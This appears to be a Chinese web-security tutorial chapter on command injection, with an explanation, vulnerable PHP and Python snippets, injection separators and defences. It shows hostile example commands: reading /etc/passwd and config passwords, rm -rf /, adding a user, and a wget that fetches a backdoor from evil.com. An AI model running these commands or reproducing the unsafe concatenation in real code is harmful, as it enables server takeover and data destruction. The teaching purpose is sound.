WEB安全
00-HTTP协议
01-前端基础【HTML】
02-前端基础【CSS】
03-后端基础【PHP速通】
04-后端基础【PHP面向对象】
05-MySQL基础操作
06-前后端联动【代码练习】
07-SQL注入
08-SQL注入 Labs
09-跨站脚本攻击【XSS】
09-XSS Labs
10-CSRF
11-SSRF
12-XML 外部实体注入【XXE】
13-代码执行漏洞
14-命令执行漏洞
15-文件包含漏洞
16-文件上传漏洞
17-反序列化漏洞
18-业务逻辑漏洞
19-未授权访问漏洞集合
20-跨源资源共享【CORS】
21-SSTI模板注入
22-并发漏洞
23-点击劫持【Clickjacking 】
24-请求走私
25-路径遍历
26-访问控制
27-身份验证漏洞
28-WebSocket
29-Web缓存中毒
30-HTTP 主机头攻击
31-信息泄露漏洞
32-原型污染
33-API概述
34-API分类类型
35-API交换格式
36-API身份验证
37-API常见漏洞
38-crAPI靶场
39-JWT
40-DVGA靶场
41-服务器端参数污染
42-API Labs
43-OAuth Labs
44-GraphQL API Labs
45-JWT Labs
46-小程序抓包
47-云存储
48-对象存储OSS
49-存储桶
50-存储桶漏洞
51-STS访问OSS
-
+
14-命令执行漏洞
浏览
1
## 定义 命令执行漏洞(Command Injection),指攻击者通过构造恶意输入,诱导应用程序执行非预期的操作系统命令(如ls、rm、ping等),从而控制服务器、窃取数据或破坏系统。它是 “代码执行漏洞” 的一种特殊形式,核心聚焦于操作系统命令的滥用。 命令执行漏洞的本质是:应用程序在调用系统命令时,将用户可控的输入直接拼接进命令字符串中,且未进行严格过滤或转义,导致攻击者注入的恶意命令被系统执行。 简单说,当程序需要调用系统命令(如执行ping检测网络、ffmpeg处理视频等),若直接将用户输入作为命令的一部分拼接执行,就可能被攻击者利用。 ## 工作原理 命令执行漏洞的形成原因主要是开发人员在编写代码时,没有对用户输入进行充分的验证和过滤,导致恶意用户可以通过构造恶意命令参数来执行任意系统命令。例如,在PHP中,如果使用system()、exec()、shell_exec()等函数执行用户输入的命令,就可能导致命令执行漏洞。 在php中常见函数有:**system()、exec()、shell_exec()、passthru()、特殊符号 。** ## 危害 命令执行漏洞一旦被利用,攻击者可直接操控服务器操作系统,危害包括: 1. 信息窃取:执行cat /etc/passwd查看用户列表、cat /var/www/config.php读取数据库密码; 2. 文件操作:删除关键文件(rm -rf /)、篡改业务数据(echo 'hack' > index.html); 3. 权限提升:通过sudo命令尝试获取管理员权限,或添加恶意用户(useradd hacker); 4. 横向渗透:利用服务器作为跳板,攻击内网其他设备(如ssh 192.168.1.100登录内网主机); 5. 持久化控制:植入后门程序(如wget http://evil.com/backdoor.sh -O /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh),长期控制服务器。 ## 典型场景与示例 命令执行漏洞常见于需要 “与操作系统交互” 的功能,例如网络检测、文件处理、系统工具调用等。 **网络检测功能(以 ping 为例)** 程序提供 “检测 IP 连通性” 功能,接收用户输入的 IP 地址,拼接进ping命令执行。 ```php // 接收用户输入的IP $ip = $_GET['ip']; // 直接拼接IP执行ping命令(Windows用ping -n 1,Linux用ping -c 1) system("ping -c 1 " . $ip); ``` 正常用户输入8.8.8.8,命令为ping -c 1 8.8.8.8(合法); 攻击者输入8.8.8.8; ls /,命令变为ping -c 1 8.8.8.8; ls /—— 执行ping后,额外执行ls /(列出根目录文件)。 **文件处理功能(以删除文件为例)** 程序允许用户删除指定文件,接收用户输入的文件名,拼接进rm命令执行。 ```python import os # 接收用户输入的文件名 filename = input("请输入要删除的文件名:") # 直接拼接文件名执行rm命令 os.system(f"rm {filename}") ``` 正常用户输入test.txt,命令为rm test.txt(合法); 攻击者输入test.txt; rm -rf /tmp/\*,命令变为rm test.txt; rm -rf /tmp/\*—— 删除目标文件后,额外删除/tmp目录下的所有文件。 **命令连接符的滥用** 攻击者常用以下符号连接正常命令和恶意命令,绕过简单过滤: | 连接符 | 作用 | 示例(在 ping 命令后附加恶意命令) | | ------ | ---------------------------------- | ------------------------------------------- | | ; | 分隔多个命令,依次执行 | 8.8.8.8; ls → 先 ping,再执行 ls | | && | 前一个命令成功执行后,再执行后一个 | 8.8.8.8 && ls → ping 成功才执行 ls | | & | 前一个命令后台执行,同时执行后一个 | 8.8.8.8 & ls → ping 后台运行,同时执行 ls | | \\ | 执行反引号内的命令,返回结果 | ping \whoami\ → 先执行 whoami,再 ping 结果 | | $() | 类似反引号,执行括号内的命令 | ping $(whoami) → 同反引号效果 | ## 防范措施 防护命令执行漏洞的核心是:切断用户输入与系统命令的直接拼接,严格限制命令参数的可控范围。 - 对用户输入进行严格的验证和过滤:开发人员应该对用户输入进行严格的验证和过滤,避免直接拼接用户输入到系统命令中(若业务必须调用系统命令,使用 “参数化调用” 而非字符串拼接 —— 将命令和参数分开传递,让系统明确区分 “命令” 和 “参数”,避免参数被解析为命令的一部分。)。 - 避免使用危险函数:尽量不要执行外部命令,使用自定义函数或函数库来替代外部命令的功能。 - 使用安全的API或库:使用安全的API或库来执行系统命令,例如使用escapeshellarg()函数来处理命令参数。 - 及时更新和修补系统漏洞:保持系统和应用程序的最新状态,及时应用安全更新和补丁,以修复已知的漏洞和缺陷。 - 部署安全防护设备:在关键的网络节点上部署防火墙、入侵检测系统等安全防护设备,可以有效监测和阻断恶意流量,防止攻击者利用命令执行漏洞进行攻击。
毛林
2026年11月15日 18:27
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~